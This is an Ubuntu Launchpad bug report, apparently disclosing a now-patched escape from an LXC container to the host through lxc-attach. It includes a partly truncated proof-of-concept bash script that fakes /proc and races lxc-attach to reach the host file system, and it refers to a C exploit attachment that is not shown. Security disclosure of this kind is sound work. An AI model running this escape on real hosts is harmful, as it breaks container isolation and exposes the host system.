lxc-attach to malicious container allows access to host
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
linux (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Trusty |
Fix Released
|
Undecided
|
Unassigned | ||
Vivid |
Fix Released
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Yakkety |
Fix Released
|
Undecided
|
Unassigned | ||
lxc (Ubuntu) |
Fix Released
|
Critical
|
Christian Brauner | ||
Trusty |
Fix Released
|
Undecided
|
Unassigned | ||
Vivid |
Fix Released
|
Undecided
|
Unassigned | ||
Xenial |
Fix Released
|
Undecided
|
Unassigned | ||
Yakkety |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
A malicious root user in an unprivileged container may interfere with lxc-attach to provide manipulated guest proc file system information to disable dropping of capabilities and may in the end access the host file system by winning a very easy race against lxc-attach.
In guest sequence:
cat <<EOF > /tmp/test
#!/bin/bash -e
rm -rf /test || true
mkdir -p /test/sys/kernel
echo "proc /proc proc rw,nosuid,
echo 0 > /test/sys/
mkdir -p /test/self
mknod /test/self/status p
cd /proc
mount -o bind /test /proc
while true; do
pid=\$(ls -al */exe | grep lxc-attach | sed -r -e 's/.* ([0-9]+)\\/exe ->.*/\\1/')
if [ "\${pid}" != "" ]; then
cd /
umount -i -f -l -n /proc
exec /LxcAttachEscape "\${pid}" /bin/bash
fi
sleep 1
done
EOF
See attachment for LxcAttachEscape.c
Exploit uses fixed fd=7 for attacking, on other test environment, it might be other fd. Tests were performed by attacking lxc-attach started by
screen lxc-attach -n [guestname]
which is the sequence required against the TTY-stealing attacks also not fixed in all lxc-attach versions.
In my opinion two bugs might need fixing:
* lxc-attach should not use untrusted/
* kernel should prevent against ptracing of lxc-attach as it was created in another USERNS
# lsb_release -r -d
Description: Ubuntu 16.04.1 LTS
Release: 16.04
# apt-cache policy lxc1
lxc1:
Installed: 2.0.5-0ubuntu1~
Candidate: 2.0.5-0ubuntu1~
Version table:
*** 2.0.5-0ubuntu1~
500 http://
100 /var/lib/
2.0.0-0ubuntu2 500
500 http://
Changed in linux (Ubuntu Trusty): | |
status: | New → Fix Committed |
Changed in linux (Ubuntu Vivid): | |
status: | New → Fix Committed |
Changed in linux (Ubuntu Xenial): | |
status: | New → Fix Committed |
Changed in linux (Ubuntu Yakkety): | |
status: | New → Fix Committed |
tags: | added: kernel-da-key |
information type: | Private Security → Public Security |
Changed in linux (Ubuntu): | |
status: | Incomplete → New |
tags: | added: bot-stop-nagging |
Changed in linux (Ubuntu): | |
status: | New → Incomplete |
Changed in linux (Ubuntu): | |
status: | Incomplete → Triaged |
Exploit code for stealing of fixed fd=7 directory fd still held open by lxc-attach when entering the guest namespace.